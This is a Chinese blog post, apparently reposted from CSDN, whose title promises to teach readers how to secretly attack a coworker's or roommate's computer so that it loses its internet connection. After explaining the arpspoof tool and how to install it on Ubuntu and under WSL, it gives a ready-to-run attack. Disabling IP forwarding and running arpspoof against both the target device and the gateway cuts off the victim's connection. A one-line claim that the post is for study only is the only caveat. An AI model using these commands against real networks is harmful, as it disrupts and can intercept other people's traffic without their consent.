低调学习！教你偷偷攻鸡同事或者室友的电脑使其断网

最新推荐文章于 2025-01-10 11:19:00 发布

码农x马马

最新推荐文章于 2025-01-10 11:19:00 发布

阅读量2.3k

点赞数 8

文章标签：学习

本文链接：https://blog.youkuaiyun.com/ewii12567/article/details/142410972

版权

本篇文章内容仅供学习不可用于违反网络秩序！

简介

arpspoof 是一个用于局域网ARP欺骗攻击（ARP spoofing）工具，它是 dsniff 工具包的一部分。ARP（地址解析协议）用于将IP地址解析为物理地址（MAC地址）。通过伪造ARP数据包，arpspoof可以将网络流量引导到攻击者的设备上，从而实现网络流量监控、截获和篡改。

基本功能

1、ARP欺骗：arpspoof通过发送伪造的ARP回复数据包，使受害者设备将攻击者的MAC地址与目标IP地址关联，从而将流量引导到攻击者设备。

2、中间人攻击（MitM）：使用arpspoof，攻击者可以在受害者和网关之间执行中间人攻击，拦截并修改数据包。

3、网络调试与测试：除了恶意用途，这个工具也可以用于网络调试和安全测试，以发现网络中的安全漏洞。

安装工具

arpspoof 工具在kali中已经默认安装了，下面将分别使用ubuntu系统和windows系统进行安装。

在Ubuntu中安装

在大多数基于Debian的Linux系统上，可以使用以下命令安装arpspoof：

sudo apt-get install dsniff

在windows上安装

在Windows上，使用arpspoof命令并不像在Linux或macOS上那样直观，因为dsniff工具包并不本地支持Windows操作系统。但是，你可以利用虚拟机或者WSL（Windows Subsystem for Linux）来安装ubuntu子系统的方式来使用。

接下来我们尝试使用子系统的方式：

1、在windows的应用商店中搜索并安装第一个Ubuntu：

搜索Ubuntu系统

安装Ubuntu

安装完成后如果点击打开出现跟下方一样的情况，则说明还需要操作一个步骤：

打开出现错误

2、启用“适用于 Linux 的 Windows 子系统”。按照以下步骤进行操作：

1. 打开控制面板。
1. 打开程序。
1. 找到启用或关闭Windows功能然后启用适用于 Linux 的 Windows 子系统。

启用并重启机器

重启后在cmd中输入ubuntu回车后，还是出现一开始的错误，则需要安装Linux内核的更新包：

https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi

安装完更新包之后就可以正常使用Linux子系统了。

3、在子系统中使用arpspoof之前我们需要对子系统进行初始化，首次访问ubuntu子系统时会要求我们创建一个用户和密码（密码在输入时是不会有任何显示的）。

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZvpPcUJ9WJLuSHAh2RuW5v5fo2RRsjUALb8Em7icnXlHA9m7bxps8SLCD4ziajA8yN8NsCp4M38VvBam2NS5Qia6A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%20%22null%22&pos_id=img-1JrNOL0W-1726881465099创建用户

然后输入下方的命令开始安装我们需要的工具：

sudo apt update   sudo apt install dsniff

安装完成

攻击演示

你的目标是阻止某个设备连接互联网。所以，你需要知道该设备的IP地址以及网关的IP地址。

假设：

• 目标设备IP：例如，192.168.1.100
• 网关IP：例如，192.168.1.1

为了确保目标设备的流量不会通过你的系统进行中继，你需要禁用Linux系统的IPv4数据包转发功能，执行以下命令：

sudo sysctl -w net.ipv4.ip_forward=0

分别进行两个方向上的ARP欺骗：

1、欺骗目标设备，使其认为攻击者是网关：

sudo arpspoof -i <network_interface> -t <target_ip> <gateway_ip>

例如：

sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

2、欺骗网关，使其认为攻击者是目标设备：

sudo arpspoof -i <network_interface> -t <gateway_ip> <target_ip>

例如：

sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100

[

将Python项目打包成.exe可执行文件

2024-05-27

](http://mp.weixin.qq.com/s?__biz=MzkwODYyNTY4MQ==&mid=2247486334&idx=1&sn=2c57592ac85016ddb812f0351bbae6c2&chksm=c0c65900f7b1d016762826dca280878bc9134fb57ccf373b9a629858615adcf05b755e9bab57&scene=21#wechat_redirect)

[

使用docker部署本地离线AI大模型

2024-05-18

](http://mp.weixin.qq.com/s?__biz=MzkwODYyNTY4MQ==&mid=2247486256&idx=1&sn=a5a96b90bd72872a7c6180269c0a4766&chksm=c0c6594ef7b1d05894334c4a3e1fb61a892781c89ecc97a51f2af44d7464a1a162efcc267ba3&scene=21#wechat_redirect)

[

Pake：将网页生成轻量级桌面 App

2024-05-15

](http://mp.weixin.qq.com/s?__biz=MzkwODYyNTY4MQ==&mid=2247486122&idx=1&sn=216cafd6c652fbb9c537ffbc7141ee10&chksm=c0c658d4f7b1d1c22993997e08b6fff3a8f803f5036cdcdfb25d804c323b51fb8f0b0afadb28&scene=21#wechat_redirect)

[

CodeX Docs：简单、强大的文档管理服务

2024-05-23